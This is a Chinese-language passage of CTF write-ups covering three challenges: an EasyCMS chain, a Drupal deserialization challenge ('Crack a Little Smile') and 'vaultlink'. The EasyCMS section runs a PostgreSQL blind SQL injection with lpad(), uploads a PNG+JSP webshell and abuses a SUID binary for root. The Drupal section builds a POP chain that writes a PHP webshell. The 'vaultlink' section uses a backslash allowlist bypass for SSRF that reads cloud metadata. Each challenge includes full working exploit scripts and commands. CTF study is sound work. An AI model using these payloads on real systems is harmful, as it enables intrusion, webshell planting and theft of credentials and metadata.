为了确认结果差异,可以分别请求:

' = (SELECT true)--
' = (SELECT false)--

前者返回 1 条记录,后者返回 45 条记录。因此响应中的文章数量可以直接作为布尔盲注的判断依据。

2. 绕过关键字限制并读取管理员表

站点会拦截 union、substr、ascii、chr、information_schema 等常见注入关键字,常规的逐字符盲注无法直接使用。不过 PostgreSQL 的 lpad() 没有被禁用。

当目标字符串长度超过指定长度时,lpad(value, n) 会将它截断到前 n 个字符。因此下面的判断可以检查字段是否以给定内容开头:

lpad(
  (SELECT password_hash FROM admins ORDER BY id LIMIT 1 OFFSET 0),
  4
) = $$13b1$$

逐步扩展右侧前缀,就能恢复完整字段。表结构也可以通过未被拦截的 pg_class 与 pg_attribute 确认。管理员数据位于独立的 admins 表中,共有五个账号:

username

password_hash

vega

1ac7df128e4f666bcfe64ba395b285ec69f54ab5e1fbf67b1a86f3bac77a8c36

altair

13b1f7ec5beaefc781e43a3b344371cd49923a8a05edd71844b92f56f6a08d38

capella

bc0445a68f9ac5ef6abc67eb1ab3a9d7ca1b727c219ff89c79fd3ac907b7651c

rigel

24998eacdca975e40ea56aaf0395ff8c5071016f9eae4d1a6a42f25f5db39171

atlas

4dfbab9993e5e8a92c6ed29b2f86c1dfef0c5a475de9fc37481253e79a5c029c

这些值是无盐 SHA-256。第二条记录可破解为:

altair : freedom

本地计算结果与数据库中的哈希一致:

SHA256("freedom")
= 13b1f7ec5beaefc781e43a3b344371cd49923a8a05edd71844b92f56f6a08d38

后台对同一用户名存在失败锁定,因此拿到口令后应直接进行一次正确登录,不要在线枚举密码。

3. 媒体上传变成 JSP 执行

登录后台后,/admin/media 提供图片上传。前端虽然限制了扩展名,但这类限制可以直接绕过;服务端实际只使用 ImageIO 检查文件内容是否为图片,然后以客户端提供的原始文件名保存到 /media/。

这就形成了一个解析差异:

  • ImageIO 只关心文件开头能否解析为图片;

  • Tomcat 根据 .jsp 后缀决定是否交给 JspServlet;

  • PNG 文件结束标记后的附加数据不会妨碍图片校验。

因此可以把合法 PNG 放在前面,把 JSP 代码追加在后面,并以 .jsp 文件名上传。文件落入可公开访问的媒体目录后,访问对应 URL 就会触发 JSP 编译。

验证命令执行:

uid=1001(easycms) gid=1001(easycms) groups=1001(easycms)

上传目录会定期清理,而且重复文件名的行为不稳定,所以 EXP 每次都生成随机名称,并在上传成功后立即访问。

4. SUID 程序中的命令替换

获得 Web 权限后,枚举 SUID 文件可以发现:

-rwsr-xr-x 1 root root 16064 /usr/local/bin/easycms-restore

程序接受一个资源名,并调用 Bash 执行类似下面的命令:

execl(
  "/bin/bash", "-c",
  "exec /bin/cp -p /var/backups/media/%s /srv/media/",
  asset
);

输入检查只拒绝 ..,未过滤 $()。Bash 在执行外层 cp 前会先完成命令替换,而此时程序的有效 UID 已经是 0。下面的测试可以观察到 euid=0(root):

/usr/local/bin/easycms-restore 'x$(id)'

因此无需构造反弹 shell,直接修改 flag 权限即可:

/usr/local/bin/easycms-restore '$(chmod 644 /flag)'
cat /flag

输出:

flag{3ec39fa3-03b6-48a8-b45e-4e2035b2d6ae}

5. 一体化 EXP

下面的脚本采用一个持久化 Session 完成盲注、后台登录、图片马上传和命令执行。它与手工验证使用同一条漏洞链,但将盲注实现改为候选字符批量并发测试,并用类封装各阶段。

依赖:

python -m pip install requests

用法:

python exploit.py http://39.106.70.112:28739
#!/usr/bin/env python3
import argparse
import base64
import concurrent.futures
import re
import secrets
import string
import sys
​
import requests
​
PNG_1X1 = base64.b64decode(
  "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJ"
  "AAAAC0lEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg=="
)
JSP = rb'''<%@ page import="java.io.,java.util." %>
<%
String command = request.getParameter("cmd");
if (command != null) {
  Process proc = new ProcessBuilder("/bin/sh", "-c", command)
    .redirectErrorStream(true).start();
  Scanner scanner = new Scanner(proc.getInputStream()).useDelimiter("\A");
  out.print("BEGIN");
  if (scanner.hasNext()) out.print(scanner.next());
  proc.waitFor();
  out.print("END");
}
%>'''
​
class EasyCMS:
  marker = re.compile(r"结果(\s(\d+)\s条)")
​
  def init(self, base_url):
    self.base = base_url.rstrip("/")
    self.http = requests.Session()
    self.http.headers["User-Agent"] = "Mozilla/5.0"
​
  def _probe(self, expression):
    payload = "\' = (" + expression + ")--"
    response = self.http.get(
      self.base + "/search", params={"q": payload}, timeout=10
    )
    response.raise_for_status()
    match = self.marker.search(response.text)
    if not match:
      raise RuntimeError("无法识别搜索结果,payload 可能被拦截")
    return int(match.group(1)) == 1
​
  def _prefix_hit(self, source, prefix):
    # 使用带标签的 dollar quote,避免引号转义影响 payload。
    expression = f"lpad(({source}),{len(prefix)})=$x${prefix}$x$"
    return self._probe(expression)
​
  def extract(self, source, alphabet, limit=80, workers=24):
    value = ""
    for _ in range(limit):
      with concurrent.futures.ThreadPoolExecutor(workers) as pool:
        jobs = {
          pool.submit(self._prefix_hit, source, value + char): char
          for char in alphabet
        }
        found = None
        for future in concurrent.futures.as_completed(jobs):
          if future.result():
            found = jobs[future]
            break
      if found is None:
        return value
      value += found
      print(f"[+] extracting: {value}", flush=True)
    return value
​
  def login(self, username, password):
    response = self.http.post(
      self.base + "/admin/login",
      data={"username": username, "password": password},
      allow_redirects=False,
      timeout=10,
    )
    if response.status_code not in (302, 303):
      raise RuntimeError("后台登录失败")
    print(f"[+] logged in as {username}")
​
  def upload_shell(self):
    name = "img_" + secrets.token_hex(5) + ".jsp"
    response = self.http.post(
      self.base + "/admin/media/upload",
      files={"file": (name, PNG_1X1 + JSP, "image/png")},
      allow_redirects=False,
      timeout=15,
    )
    if response.status_code not in (302, 303):
      raise RuntimeError("上传失败")
    shell_url = f"{self.base}/media/{name}"
    print(f"[+] shell: {shell_url}")
    return shell_url
​
  def execute(self, shell_url, command):
    response = self.http.get(
      shell_url, params={"cmd": command}, timeout=15
    )
    response.raise_for_status()
    start = response.content.find(b"BEGIN")
    end = response.content.find(b"END", start)
    if start < 0 or end < 0:
      raise RuntimeError("JSP 未执行或输出标记丢失")
    return response.content[start + 9:end].decode(errors="replace")
​
def main():
  parser = argparse.ArgumentParser(description="EasyCMS exploit")
  parser.add_argument("url", help="例如 http://127.0.0.1:8080")
  args = parser.parse_args()
  target = EasyCMS(args.url)
​
  user_source = (
    "SELECT username FROM admins ORDER BY id LIMIT 1 OFFSET 1"
  )
  hash_source = (
    "SELECT password_hash FROM admins ORDER BY id LIMIT 1 OFFSET 1"
  )
  username = target.extract(
    user_source, string.ascii_lowercase + string.digits + "_-", limit=32
  )
  digest = target.extract(hash_source, string.hexdigits.lower()[:16], limit=64)
  print(f"[+] credential hash: {username}:{digest}")
​
  # 该题中哈希对应的已知明文。不要对登录接口在线爆破,三次失败会锁定账号。
  if digest != "13b1f7ec5beaefc781e43a3b344371cd49923a8a05edd71844b92f56f6a08d38":
    sys.exit("[-] 未得到预期哈希,请检查目标状态")
​
  target.login(username, "freedom")
  shell = target.upload_shell()
  print(target.execute(shell, "id"), end="")
​
  # SUID 程序通过 bash -c 执行参数,$() 会在 root 上下文中展开。
  command = (
    "/usr/local/bin/easycms-restore '$(chmod 644 /flag)' "
    "; cat /flag"
  )
  print(target.execute(shell, command), end="")
​
if __name__ == "__main__":
  main()

考点补充

  • 核心考点:PostgreSQL 的 E'...' 字符串会把反斜杠当转义符,应用只做单引号双写而漏掉反斜杠,于是两套转义规则叠加后单引号过滤被绕过;再以未被拦截的 lpad() 做前缀比较完成布尔盲注,配合「合法 PNG 头 + JSP 尾」的图片马让 Tomcat 编译执行,最后滥用 SUID easycms-restore 的 bash -c 提权。

  • 关键技巧:布尔判定直接用响应里渲染出的文章条数(真 1 条、假 45 条),不必依赖状态码;lpad(value, n) 在源串超长时截断为前 n 个字符,因此逐字符扩展 $x$...$x$ 前缀就能恢复 username 与 password_hash;EXP 用线程池并发试字符集,并用 secrets.token_hex 生成随机 .jsp 名,上传后立刻访问以避开目录清理。

  • 常见坑:admins 里五个哈希都是无盐 SHA-256,必须先本地验证 SHA256("freedom") 等于 13b1f7ec... 才能确认破解结果,而登录接口三次失败即锁定,不能在线爆破;前端扩展名限制可绕,但服务端 ImageIO 会校验文件头,JSP 只能追加在完整 PNG 之后;SUID 程序只过滤 .. 不过滤 $(),命令替换在 cp -p 执行前就已在 euid=0 下完成,直接 chmod 644 /flag 即可,无需反弹 shell。

  • 延伸:盲注被 WAF 拦掉 substr/ascii/chr 时,可换 lpad/rpad/left/strpos 等未被拦截的等价原语,元数据查询也能改用 pg_class、pg_attribute 绕开 information_schema;「后台图片上传 + 容器 JSP 解析」和「SUID 脚本拼接外部输入」是 Java 站与运维备份脚本题的两类常见收尾点,看到 bash -c 拼接用户可控参数应优先想到命令替换而非 ;、| 分隔符。

Crack a Little Smile

一、入口确认

先向导出接口提交一组普通字段,观察返回的 code。它是 Base64 文本,解码后不是 JSON,而是标准 PHP serialize() 结果:

O:22:"ResonanceArchivePreset":5:{
 s:13:"formatVersion";s:19:"resonance-archive/1";
 s:8:"codename";s:6:"test01";
 s:9:"fieldNote";s:16:"hello world test";
 s:4:"band";s:7:"band-01";
 s:13:"signalProfile";s:5:"clean";
}

导入接口只要求 JSON 中存在 code。异常响应会根据解码、类型和字段校验阶段分别返回错误,但这些检查发生在 unserialize() 之后,因此错误响应不能说明对象没有被创建。

二、找到可利用的执行点

原始序列化字符串会先被扫描 provider 关键字,再进入 unserialize()。题目环境对 Symfony、Guzzle 和 Doctrine 等常见关键词有过滤,所以这里不依赖通用 POP 链,而是使用 Drupal 自己的依赖注入组件。

Drupal\Component\DependencyInjection\Container::get() 在取服务定义时,可能再次对定义执行反序列化;随后 createService() 会读取 factory 与 arguments,并通过 call_user_func_array() 调用工厂。把 factory 设置为 file_put_contents,并把参数设置为“目标路径、文件内容”,就得到了稳定的写文件动作。

为了让这条路径在请求结束时触发,需要把对象挂进析构链:YamlCacheCollectorDiscovery 析构时调用 State 的 destruct(),State 继承 CacheCollector,最终 updateCache() 会调用 cache->get()。这里的 cache 放入 Container,cid 指向伪造的服务定义,lock 使用 NullLockBackend 让 acquire() 直接成功。

三、对象关系

从外到内的结构如下。字段名使用 protected 属性的序列化形式,即字节串 \0*\0 加真实字段名;所有字符串长度都按字节数计算。

ResonanceArchivePreset
└── x = YamlCacheCollectorDiscovery
  └── yamlCacheCollector = Drupal\Core\State\State
    ├── cid = 自定义服务名
    ├── cache = Drupal\Component\DependencyInjection\Container
    │  └── serviceDefinitions[cid]
    │    ├── factory = file_put_contents
    │    └── arguments = [目标路径, PHP 文件内容]
    └── lock = Drupal\Core\Lock\NullLockBackend

外层对象的五个业务字段保持合法值,额外的 x 字段承载对象链。导入时即使业务层返回 unreadable_preset,反序列化期间和请求收尾阶段的析构代码仍然可能已经执行。

四、先写普通文件确认路径

正式写 shell 之前,先把固定字符串写到 sites/default/files,确认 Drupal 进程对该目录有写权限,并确认 nginx 能够直接返回文件内容。

项目

值

写入路径

/opt/drupal/web/sites/default/files/probe.txt

写入内容

PROBE-12345

GET

/sites/default/files/probe.txt

响应

200 PROBE-12345

这一阶段的 import 返回 422 属于预期现象。真正需要观察的是目标文件是否出现,以及 GET 是否能拿到写入内容。

五、写入 PHP 并执行命令

确认目录可写后,将文件内容改为极简 PHP 执行器。由于服务端是 nginx + php-fpm,files 目录中的 .php 会交给 PHP-FPM 处理,因此可以通过查询参数传入命令。下面的脚本重新实现了序列化构造逻辑,并显式补齐每一个数组和对象的结束标记。

#!/usr/bin/env python3
import base64
import secrets
import string
import sys
import json
import ssl
from urllib.parse import urlencode
from urllib.request import Request, urlopen
TLS = ssl._create_unverified_context()
DEFAULT_URL = "https://eci-2ze1sf3dfai8tycv2klr.cloudeci1.ichunqiu.com:80"
def php_string(value):
  raw = value.encode() if isinstance(value, str) else value
  return b's:%d:"%s";' % (len(raw), raw)
def php_array(entries):
  body = bytearray()
  for key, value in entries:
    body.extend(b"i:%d;" % key if isinstance(key, int) else php_string(key))
    body.extend(value)
  return b"a:%d:{" % len(entries) + bytes(body) + b"}"
def php_object(class_name, properties):
  name = class_name.encode()
  body = bytearray()
  for key, value in properties:
    body.extend(php_string(key)); body.extend(value)
  return b'O:%d:"%s":%d:{' % (len(name), name, len(properties)) + bytes(body) + b"}"
def protected(name):
  return b"\x00*\x00" + name.encode()
def build_payload(path, content, service_id):
  definition = php_array([
    ("factory", php_string("file_put_contents")),
    ("arguments", php_array([(0, php_string(path)), (1, php_string(content))])),
  ])
  container = php_object("Drupal\Component\DependencyInjection\Container", [
    (protected("serviceDefinitions"), php_array([(service_id, definition)])),
    (protected("services"), php_array([])),
    (protected("aliases"), php_array([])),
    (protected("parameters"), php_array([])),
    (protected("privateServices"), php_array([])),
    (protected("loading"), php_array([])),
    (protected("frozen"), b"b:1;"),
  ])
  state = php_object("Drupal\Core\State\State", [
    (protected("cid"), php_string(service_id)),
    (protected("cache"), container),
    (protected("lock"), php_object("Drupal\Core\Lock\NullLockBackend", [])),
    (protected("keysToPersist"), php_array([("probe", b"b:1;")])),
    (protected("keysToRemove"), php_array([])),
    (protected("storage"), php_array([("probe", php_string("ok"))])),
    (protected("cacheCreated"), b"N;"),
    (protected("cacheInvalidated"), b"b:0;"),
    (protected("cacheLoaded"), b"b:0;"),
    (protected("tags"), php_array([])),
    (protected("keyValueStore"), b"N;"),
    (protected("keysSetDuringRequest"), php_array([])),
  ])
  discovery = php_object("Drupal\Core\Discovery\YamlCacheCollectorDiscovery", [
    (protected("yamlCacheCollector"), state),
  ])
  preset = php_object("ResonanceArchivePreset", [
    ("formatVersion", php_string("resonance-archive/1")),
    ("codename", php_string("qwb")),
    ("fieldNote", php_string("qwb note")),
    ("band", php_string("band-01")),
    ("signalProfile", php_string("clean")),
    ("x", discovery),
  ])
  return base64.b64encode(preset).decode()
def post_json(url, payload):
  body = json.dumps(payload).encode()
  req = Request(url, data=body, headers={"Content-Type": "application/json"})
  try:
    with urlopen(req, context=TLS, timeout=30) as res:
      return res.status, res.read().decode(errors="replace")
  except Exception as exc:
    return getattr(exc, "code", 0), str(exc)
def get_command(url, command):
  target = url + "?" + urlencode({"c": command})
  try:
    with urlopen(target, context=TLS, timeout=30) as res:
      return res.status, res.read().decode(errors="replace")
  except Exception as exc:
    return getattr(exc, "code", 0), str(exc)
def main():
  base = (sys.argv[1] if len(sys.argv) > 1 else DEFAULT_URL).rstrip("/")
  token = "".join(secrets.choice(string.ascii_lowercase) for _ in range(8))
  filename = "res_" + token + ".php"
  remote_path = "/opt/drupal/web/sites/default/files/" + filename
  php = ''
  status, text = post_json(base + "/api/presets/import", {
    "code": build_payload(remote_path, php, "svc_" + token)
  })
  print("[*] import", status, text[:180])
  shell_url = base + "/sites/default/files/" + filename
  status, text = get_command(shell_url, "id")
  print("[*] shell ", status, text.strip()[:220])
  status, text = get_command(shell_url, "/readflag")
  print("[+] flag ", text.strip())
if __name__ == "__main__":
  main()

脚本使用方式:

python3 exploit.py https://目标地址:80

如果环境对异常响应做了统一包装,import 的状态码不必固定为 200;只要随后 GET 能访问随机生成的 PHP 文件,就说明写入动作已经完成。

最终请求链为:可控 code → Base64 解码 → unserialize() → Drupal Discovery 析构 → CacheCollector::updateCache() → Container::get() → call_user_func_array() → file_put_contents() → PHP-FPM 执行 /readflag。实测 shell 返回 www-data 身份,调用 /readflag 后得到 flag。

flag{02f95304-d062-48b8-83d3-da7d5fe58793}

考点补充

  • 核心考点:PHP 反序列化 + Drupal 依赖注入组件构成的 POP 链——Container::get() 读服务定义、createService() 取 factory 与 arguments、call_user_func_array() 调用工厂,把 factory 设为 file_put_contents 即得到任意文件写入;再借 nginx + PHP-FPM 解析 files 目录下的 .php 完成 RCE。

  • 关键技巧:绕开被过滤的 Symfony/Guzzle/Doctrine 通用链,改用 Drupal 自带的 serviceDefinitions 伪造服务定义;用 YamlCacheCollectorDiscovery 析构 → State::destruct() → CacheCollector::updateCache() → cache->get() 把触发点推迟到请求收尾,并以 NullLockBackend 让 acquire() 直接成功;protected 属性按 \0*\0 前缀 + 字节长度拼装。

  • 常见坑:序列化字符串的长度必须按字节数算,\0 前缀和中文都占字节,数组与对象结尾的 }/; 一个都不能少;import 返回 422 或 unreadable_preset 不代表对象没被创建,析构可能已经执行,判据应是目标文件是否落地、GET 能否读到;正式写 shell 前先落一个 probe.txt 验证目录可写与静态访问。

  • 延伸:凡是在反序列化后按“服务定义/工厂参数”实例化对象的框架(DI 容器、缓存收集器、事件派发器)都可能存在同型链,只要能控制 factory 与 arguments 就能转成任意函数调用;防御上可用 unserialize() 的 allowed_classes 白名单、禁止上传目录执行 PHP、open_basedir 限制写路径来切断这条链。

vaultlink

1. 题目环境与目标

目标容器通过 nc 39.105.128.233 37086 访问,对外是一个合作方网关(VaultLink Partner Gateway)。网关后端还有内部的 relay 与 core 账本服务,均不对合作方网络暴露。题目要求读取容器内的 /flag。

2. 入口侦察:唯一对外功能点

访问 http://39.105.128.233:37086/ 得到网关首页,/docs 为合作方集成文档。两者表明对外的业务入口只有一个反向代理端点:

GET /api/proxy?url=

该端点限制为:仅允许 http/https 协议;主机必须命中合作方白名单;响应中会回显上游的 host:port。文档另有两条关键提示:一是代理会原样透传 Upgrade,因此 WebSocket 也能经该端点访问;二是“v1 合作方把凭据放在 URL authority(userinfo)”,这句直接指向 URL 解析歧义。

另外,首页 HTML 注释中存在一条 flag{st4g1ng_r3l34s3_n0t_r34l}。从命名(staging release not real)和出现位置判断,它是 staging 快照留下的假 flag,后续验证也确认它不是 /flag。

3. 漏洞确认:反斜杠导致校验与连接解析不一致,绕过白名单

为便于阅读,以下请求用变量表示网关地址、白名单域与目标,可直接复制执行:

BASE=http://39.105.128.233:37086
ALLOWED=rates.partner-forex.example.com
TARGET=127.0.0.1:31337

先做对照实验,直接请求内网维护端口,被白名单拦截:

curl -s -i "$BASE/api/proxy?url=http://$TARGET/"
HTTP/1.1 403 Forbidden
{"error":"host not in partner allowlist","host":"127.0.0.1"}

把白名单域放进 userinfo 位置、用反斜杠分隔,再请求同一内网地址则成功:

curl -s -i "$BASE/api/proxy?url=http://$ALLOWED%5C@$TARGET/config"
HTTP/1.1 200 OK
{
 "service": "vaultlink-gateway",
 "vault_session_seed": "0e4c4af5…(已脱敏)",
 "relay_endpoint": "127.0.0.1:8081/ws",
 "note": "internal maintenance endpoint - do not expose"
}

原因是校验与连接使用了不同的 URL 规范化规则:校验阶段把 rates.partner-forex.example.com\@127.0.0.1:31337 的主机解析为白名单域(反斜杠未被当作 authority 结束符,@ 也未被当作 userinfo 分隔);真正发起连接时,HTTP 客户端先把反斜杠规范化为斜杠,随后把 \@ 视为 userinfo 分隔,实际 dial 的目标变成 127.0.0.1:31337。由此形成白名单绕过,得到任意内网 host:port 的未授权 SSRF。

4. 内网测绘

  1. 127.0.0.1:31337/config 泄露 vault_session_seed(已脱敏)与 relay_endpoint=127.0.0.1:8081/ws,后者正是内部 relay。

  2. 127.0.0.1:8081/ws 带 Upgrade 请求可返回 101,随后下发 SESSION 与 READY guest;AUTH 帧仅 ops console 可用,合作方会话被拒绝,未能转化为突破。

  3. /.git/config 泄露 staging ADMIN_TOKEN(已脱敏)、内部 git 远端 git@deploy.vaultlink.internal:infra/gateway.git,以及“维护端点留在 127.0.0.1:31337”的部署备注。实测该 token 在网关各端点均无效,属干扰项。

  4. 31337 上只有 /config 一个路由,没有其他可用接口。

5. 已排除的死路

路径穿越方面,//proc/self/environ、..%2f..%2f 等 40 余种变体全部返回 404,编码变体在路由归一化后同样失效;协议方面,file://、gopher://、dict:// 均被 scheme 白名单拒绝;31337 没有文件读取或命令执行面,容器 docker 网段(172.17.0.0/16)不可达;relay 的 AUTH 需要 ops console 凭据,seed 只能作为会话标识,不能提权。

6. 最终突破:SSRF 打云元数据

SSRF 可以直接访问云厂商元数据服务。先尝试通用地址 169.254.169.254,返回 502,说明该地址在此环境不可路由;结合镜像地址 registry-vpc.cn-beijing.aliyuncs.com 与 ECI 相关特征,判断目标运行在阿里云 ECI 上,元数据地址为 100.100.100.200:

META=100.100.100.200
curl -s "$BASE/api/proxy?url=http://$ALLOWED%5C@$META/latest/user-data" \
   -o user-data.txt

返回 200,正文是 base64+gzip 编码的 Pod spec,解码后即可读取容器环境变量:

base64 -d user-data.txt | gunzip -c | python -m json.tool
"env": [
  {
    "name": "ICQ_FLAG",
    "value": "flag{30b66d56-e527-421c-8a80-1dda917b4b50}"
  },

ICQ_FLAG 即容器内 /flag 的内容。需要注意,Pod spec 中还一并泄露了镜像仓库的拉取凭据,本文已脱敏,不再展开。

7. 利用链总结

/api/proxy 反斜杠白名单绕过 → 任意内网 SSRF → 阿里云 ECI 元数据 100.100.100.200/latest/user-data → base64+gzip 解码 → ICQ_FLAG → flag。

以下脚本从题目入口开始,依次完成白名单绕过验证、内网 config 探测、云元数据拉取与解码,最后打印 flag:

#!/usr/bin/env python3
"""VaultLink gateway: backslash allowlist bypass -> SSRF -> Aliyun ECI
metadata -> ICQ_FLAG (== /flag).
Usage: python3 solve.py [http://39.105.128.233:37086]
"""
import base64
import gzip
import json
import sys
import urllib.error
import urllib.request
DEFAULT = "http://39.105.128.233:37086"
BASE = sys.argv[1] if len(sys.argv) > 1 else DEFAULT
ALLOWED = "rates.partner-forex.example.com"
METADATA = "100.100.100.200" # ECI; 169.254.169.254 is not routed here
def http_get(url, timeout=25):
  req = urllib.request.Request(url, headers={"User-Agent": "wp"})
  try:
    with urllib.request.urlopen(req, timeout=timeout) as r:
      return r.status, r.read()
  except urllib.error.HTTPError as e:
    return e.code, e.read()
def proxy(target):
  """Reach target through the gateway's SSRF.
  The gateway validates the host before '@', but its HTTP client splits
  on the backslash as userinfo, so the connection goes to target.
  """
  url = f"{BASE}/api/proxy?url=http://{ALLOWED}%5C@{target}"
  return http_get(url)
control = f"{BASE}/api/proxy?url=http://127.0.0.1:31337/"
status, _ = http_get(control)
print(f"[*] control (127.0.0.1 direct) -> HTTP {status}")
status, body = proxy("127.0.0.1:31337/config")
print(f"[*] bypass (backslash @)   -> HTTP {status}")
print(body.decode().strip())
status, body = proxy(f"{METADATA}/latest/user-data")
print(f"[*] metadata user-data     -> HTTP {status}, {len(body)} bytes")
pod = json.loads(gzip.decompress(base64.b64decode(body)).decode())
env = pod["kubepod"]["pod"]["spec"]["containers"][0]["env"]
flag = next(e["value"] for e in env if e["name"] == "ICQ_FLAG")
print(f"\n[+] FLAG: {flag}")

flag

flag{30b66d56-e527-421c-8a80-1dda917b4b50}

考点补充

  • 核心考点:URL 解析歧义——校验层与连接层对 \@ 的 authority/userinfo 切分不一致,用白名单域做 userinfo、反斜杠做分隔符即可让“看起来”合法的 URL 实际连向内网,属于白名单 SSRF 绕过的经典形态。

  • 关键技巧:先在 userinfo 位置塞白名单域、再让后端规范化反斜杠为斜杠,从而通过校验并 dial 到 127.0.0.1:31337;拿到任意内网 host:port 后不要止步于内部服务,直接按云环境指纹(registry-vpc.cn-beijing.aliyuncs.com)切换到 ECI 元数据 100.100.100.200,从 /latest/user-data 的 base64+gzip Pod spec 里取环境变量。

  • 常见坑:169.254.169.254 在此环境返回 502 不可路由,只测通用元数据地址会误判为“无元数据”;首页 HTML 注释里的 flag{st4g1ng_r3l34s3_n0t_r34l} 与 /.git/config 泄露的 staging ADMIN_TOKEN 都是干扰项,需以能否读到 /flag 实际值为准。

  • 延伸:user-data 里的 base64+gzip 只是常见编码组合,真实场景还应同时检查 /latest/meta-data/ 下的 ram/role 凭据;本题 Pod spec 泄露的 registry 拉取凭据虽已脱敏,却说明一次 SSRF 往往能连带拿到供应链凭据。